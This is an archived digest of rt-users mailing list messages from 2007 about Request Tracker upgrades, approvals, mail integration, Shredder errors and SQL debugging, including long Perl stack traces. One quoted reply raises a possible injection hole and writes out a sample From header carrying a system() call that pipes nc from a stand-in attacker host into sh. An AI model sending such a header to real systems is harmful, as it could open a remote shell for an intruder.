> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 
> 



From vchopov at digifonica.com  Thu Feb  8 13:34:00 2007
From: vchopov at digifonica.com (Valentin S. Chopov)
Date: Thu, 08 Feb 2007 10:34:00 -0800
Subject: [rt-users] After upgrade to 3.6, approvals are not displayed
Message-ID: <45CB6D18.4090206@digifonica.com>

Hi,
Recently I upgraded RT from 3.2 to 3.6.
Everything works  fine except  there  is a problems with the approvals.
They can't be seen by the approving persons in the Approval section.
If they  go to the approval ticket (which by default is owned by Nobody) 
and take the ticket after that the ticket
will be visible in the Approval section.
It looks like a rights issue. I played with the rights to the Approval 
queues but this didn't help at all.
Any ideas?
Thank you very much in advance!
Val

 

-- 
Valentin S. Chopov, CC[NDS]P
Senior Systems Administrator
Digifonica Canada Limited <http://www.digifonica.com>
(604) 628-8900 ext. 0058
~
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~
~
~
~
~
~
~
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~




From larskman at gmail.com  Thu Feb  8 14:18:07 2007
From: larskman at gmail.com (fname lname)
Date: Thu, 8 Feb 2007 14:18:07 -0500
Subject: [rt-users] global / RT at a glance error
In-Reply-To: <45CA7196.4070201@bestpractical.com>
References: <e1b63c360702041006p5623ac91ta7eca626eb32e66b@mail.gmail.com>
	<45CA7196.4070201@bestpractical.com>
Message-ID: <e1b63c360702081118l7dcda0a8y77f2318f3044e1a@mail.gmail.com>

I pushed the schema and everything is working.  I installed vi yum on
fc6.  plus i was upgrading from and old mysql database.  So i done all
the 3.1.0/  3.1.15/ 3.1.17/ 3.3.0/  3.3.11/ 3.5.1/ updates via
rt-setup-database and just did an --action schema --datafile
schema.mysql

and now this are working, where is this upgrade script?

On 2/7/07, Jesse Vincent <jesse at bestpractical.com> wrote:
> fname lname wrote:
> > Im getting an error when i go to the "global / RT at a glance error ".
> >
> >
> > error:  Can't call method "Content" on an undefined value at
> > /usr/share/rt3/html/Admin/Global/MyRT.html line 50.
> > context:
> >
> (Apologies if this has already been answered (possibly by me, even). I'm
> on a plane without easy access to archives)
>
> This means you didn't run the database upgrade scripts in 3.6. For
> 3.6.3, we've gone to some lengths to mostly warn about what's going
> wrong a bit better, though we may have missed a spot
>
>
>


From dan at endpoint.com  Thu Feb  8 15:54:31 2007
From: dan at endpoint.com (Daniel Collis-Puro)
Date: Thu, 08 Feb 2007 15:54:31 -0500
Subject: [rt-users] Where to submit an email integration enhancement?
Message-ID: <45CB8E07.5030605@endpoint.com>

Folks,

We've been using RT for over a year - and it's saved us much time. Thanks.

I hacked the mailgate script to use Mail::POP3Client rather than piped
aliases as an alternate RT mailserver integration option.

It uses two simple configuration files and a cron job to iterate through
the correspond and comment mailboxes for each queue. This has been
working very well in production for over a year - it may make
installation easier because there's no need to mess with your MTA.
Obviously there is a (configurable) amount of lag time introduced
between cron job runs.

I'd like to submit this (meager) contribution back to the RT community -
where would be the right place?

Thanks in advance.

-DJCP

-- 
-**---****-----******-------********---------**********
Daniel Collis-Puro
Software Engineer
End Point Corp.
dan at endpoint.com
(office) 781-477-0885
**********---------********-------******-----****---**-



From startingout at gmail.com  Thu Feb  8 21:24:30 2007
From: startingout at gmail.com (Marie )
Date: Fri, 9 Feb 2007 10:24:30 +0800
Subject: [rt-users] Prevent Automatic add client Names in Owner drop down
	list
Message-ID: <c2b99b7f0702081824i2f632b69i487c0d83b4a37513@mail.gmail.com>

I have enabled email creation via ticket. I noticed that when I create a
ticket manually, i see other names/emails in the Owner drop down. How can i
prevent the system from adding names and list only those users i created
via  Configuration->Users->New User
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From ruslan.zakirov at gmail.com  Thu Feb  8 21:37:10 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 05:37:10 +0300
Subject: [rt-users] Where to submit an email integration enhancement?
In-Reply-To: <45CB8E07.5030605@endpoint.com>
References: <45CB8E07.5030605@endpoint.com>
Message-ID: <589c94400702081837v7b2e0bccufb6423bd68bb09d@mail.gmail.com>

http://wiki.bestpractical.com/?EmailInterface has several solutions,
you can either merge your solution with one those or create new page
for it.

On 2/8/07, Daniel Collis-Puro <dan at endpoint.com> wrote:
> Folks,
>
> We've been using RT for over a year - and it's saved us much time. Thanks.
>
> I hacked the mailgate script to use Mail::POP3Client rather than piped
> aliases as an alternate RT mailserver integration option.
>
> It uses two simple configuration files and a cron job to iterate through
> the correspond and comment mailboxes for each queue. This has been
> working very well in production for over a year - it may make
> installation easier because there's no need to mess with your MTA.
> Obviously there is a (configurable) amount of lag time introduced
> between cron job runs.
>
> I'd like to submit this (meager) contribution back to the RT community -
> where would be the right place?
>
> Thanks in advance.
>
> -DJCP
>
> --
> -**---****-----******-------********---------**********
> Daniel Collis-Puro
> Software Engineer
> End Point Corp.
> dan at endpoint.com
> (office) 781-477-0885
> **********---------********-------******-----****---**-
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From theillien at yahoo.com  Thu Feb  8 21:52:43 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 21:52:43 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
References: <45CABCDD.5090906@yahoo.com>
	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <45CBE1FB.3030906@yahoo.com>

I created a user called, for no reason in particular, splat's at thisplace.com.
The error received is:

sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file

Th first line is the one I get most often.  The second is because it happened to
be the last email address to be shredded.  Usually Shredder will spit out the
first line and then move on to the next address at which point, everything will
chug along nicely.

Mathew

der Mouse wrote:
>> Shredder doesn't like when an email address contains either a single-
>> or double-qoute.
> 
> An email address, or the name associated with an email address?  If it
> really is broken enough to get upset when an email address includes
> unbalanced quotes, it's, well, broken; "\(*&$%\""@example.com is a
> perfectly good email address, as is '^#&!`|@example.com.  (Some people
> have even used such addresses, and find they don't get picked up by
> spammer scrapeware - a useful property for email addresses to have.)
> 
> Even if it's the associated name, I'd call that somewhat broken.  I
> know someone who uses "Patrick O'Reilly" as the name portion of his
> email address (not coincidentally, that's his name).
> 
>> Understandably so considering this messes with Perl and makes it look
>> for a closing, matching mark.
> 
> I find that extremely disturbing, because it implies that RT is
> encountering these things in contexts where its string parsing code is
> kicking in.  This makes me wonder if perhaps a mail bearing a header
> like
> 
> From: "; system('cat /dev/null | nc evil.cracker.example.org 12345 | sh'); $dummy = " <me at innocent.example.org>
> 
> would do something nasty.  (It would even be legal from an email point
> of view.)
> 
> /~\ The ASCII				der Mouse
> \ / Ribbon Campaign
>  X  Against HTML	       mouse at rodents.montreal.qc.ca
> / \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From theillien at yahoo.com  Thu Feb  8 21:59:41 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 08 Feb 2007 21:59:41 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
Message-ID: <45CBE39D.2090101@yahoo.com>

This query has me confused.  There are lowercase letters placed by themselves in
locations I'm not used to seeing criteria placed.  Can someone please clarify
what I'm supposed to enter?

Mathew


Ruslan Zakirov wrote:
> Please, run the following SQL query:
> SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> 
> Where XXXX id of the ticket. Then send me results.
> 
> 
> On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> I'd like to add to this.  I've looked at the database and found that
>> there are
>> 63 transactions attached to this ticket.  There are also no
>> transactions for
>> which there isn't a user.  I've looked up the names on each user id in
>> the
>> transactions table and found that they correspond to someone that
>> would likely
>> have had a part in the ticket.
>>
>> There are as many user id entries as there are transactions.  What I
>> mean is,
>> there are multiple entries for some ids but all transactions have a
>> user id
>> attached to it.  This tells me that the transactions aren't corrupted
>> by a
>> missing user that possibly got Shredded out of the database.
>>
>> As I've said before, this isn't the first time we've seen this so I'm
>> beginning
>> to think this is a bug of some sort.
>>
>> The full error follows.
>>
>> error:          Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> context:
>> ...
>> 686:    AddWatcher => sub {
>> 687:    my $self = shift;
>> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> 689:    $principal->Load($self->NewValue);
>> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> $principal->Object->Name);
>> 691:    },
>> 692:    DelWatcher => sub {
>> 693:    my $self = shift;
>> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> ...
>> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> /usr/local/rt-3.6.1/share/html/autohandler:279
>>
>>
>>
>> raw error
>> Can't call method "Name" on an undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>>
>>
>> Trace begun at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> on an
>> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> line
>> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> line 690
>> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> HTML::Mason::Commands::__ANON__('Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction',
>> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> undef,
>> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> 'ARRAY(0xc59f11c)',
>> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> undef,
>> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
>> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> 'Attachments',
>> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> 'LastTransaction',
>> 0) called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> undef,
>> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
>> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> 'RT::Attachments=HASH(0xc98d840)') called at
>> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> 'id', 55767, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> 279
>> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1246
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 1245
>> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 459
>> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> line 411
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 168
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> line 826
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> -e line 0
>> eval {...} at -e line 0
>>
>> If we don't protect the freedom of speech, how will we know who the
>> assholes are?
>> http://theillien.blogspot.com
>>
>>
>> Mathew Snyder wrote:
>> > I think I've asked about this before and I'm fairly certain I
>> already know the
>> > answer.  However, I'm not certain it should be happening.
>> >
>> > We keep getting the error "Can't call method "Name" on an undefined
>> value..."
>> > If I recall correctly this is a result of eliminating via Shredder a
>> user which
>> > was at one point attatched to a ticket.  The only problem with this
>> is that the
>> > only users I remove are those that are created when we receive spam.
>> >
>> > So is this the only explanation?  More and more of these tickets
>> keep appearing
>> > but I can't figure out how all of these users are disappearing.
>> >
>> > Thanks
>> > Mathew
>> > _______________________________________________
>> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >
>> > Community help: http://wiki.bestpractical.com
>> > Commercial support: sales at bestpractical.com
>> >
>> >
>> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > Buy a copy at http://rtbook.bestpractical.com
>> >
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
> 
> 


From ruslan.zakirov at gmail.com  Thu Feb  8 22:41:54 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 06:41:54 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45CBE39D.2090101@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBE39D.2090101@yahoo.com>
Message-ID: <589c94400702081941t45fa34ak6adfe945de40bc09@mail.gmail.com>

I'm just trying to help you figure out what had happened with your
tickets and as well gather debug info to  fix shredder.

To get debug infon you have to run the following query from mysql or
Pg shell, but first of all you should find a ticket that generate that
error you posted and replace XXXXX with the ticket's ID.

SELECT u.Name, txn.Field, txn.NewValue, txn.ReferenceType,
txn.NewReference, t.id
tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;

This query selects all AddWatcher transactions from the ticket and
shows if user that's been added as watcher still exist in the DB.


On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> This query has me confused.  There are lowercase letters placed by themselves in
> locations I'm not used to seeing criteria placed.  Can someone please clarify
> what I'm supposed to enter?
>
> Mathew
>
>
> Ruslan Zakirov wrote:
> > Please, run the following SQL query:
> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >
> > Where XXXX id of the ticket. Then send me results.
> >
> >
> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> I'd like to add to this.  I've looked at the database and found that
> >> there are
> >> 63 transactions attached to this ticket.  There are also no
> >> transactions for
> >> which there isn't a user.  I've looked up the names on each user id in
> >> the
> >> transactions table and found that they correspond to someone that
> >> would likely
> >> have had a part in the ticket.
> >>
> >> There are as many user id entries as there are transactions.  What I
> >> mean is,
> >> there are multiple entries for some ids but all transactions have a
> >> user id
> >> attached to it.  This tells me that the transactions aren't corrupted
> >> by a
> >> missing user that possibly got Shredded out of the database.
> >>
> >> As I've said before, this isn't the first time we've seen this so I'm
> >> beginning
> >> to think this is a bug of some sort.
> >>
> >> The full error follows.
> >>
> >> error:          Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> context:
> >> ...
> >> 686:    AddWatcher => sub {
> >> 687:    my $self = shift;
> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> >> 689:    $principal->Load($self->NewValue);
> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> >> $principal->Object->Name);
> >> 691:    },
> >> 692:    DelWatcher => sub {
> >> 693:    my $self = shift;
> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> >> ...
> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> >> /usr/local/rt-3.6.1/share/html/autohandler:279
> >>
> >>
> >>
> >> raw error
> >> Can't call method "Name" on an undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >>
> >>
> >> Trace begun at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
> >> on an
> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> >> line
> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> >> line 690
> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> >> called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
> >> HTML::Mason::Commands::__ANON__('Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> >> line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> >>
> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction',
> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
> >> undef,
> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
> >> 'ARRAY(0xc59f11c)',
> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
> >> undef,
> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> 'Attachments',
> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> 'LastTransaction',
> >> 0) called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
> >> HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
> >>
> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
> >> undef,
> >> 'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
> >> 'RT::Ticket=HASH(0xc54ce28)',
> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
> >> 'Attachments',
> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
> >> 'RT::Attachments=HASH(0xc98d840)') called at
> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
> >>
> >> 'id', 55767, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
> >> called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
> >> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
> >>
> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
> >> 279
> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
> >>
> >> 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1246
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 1245
> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 459
> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> >> line 411
> >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 168
> >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> >>
> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> >> line 826
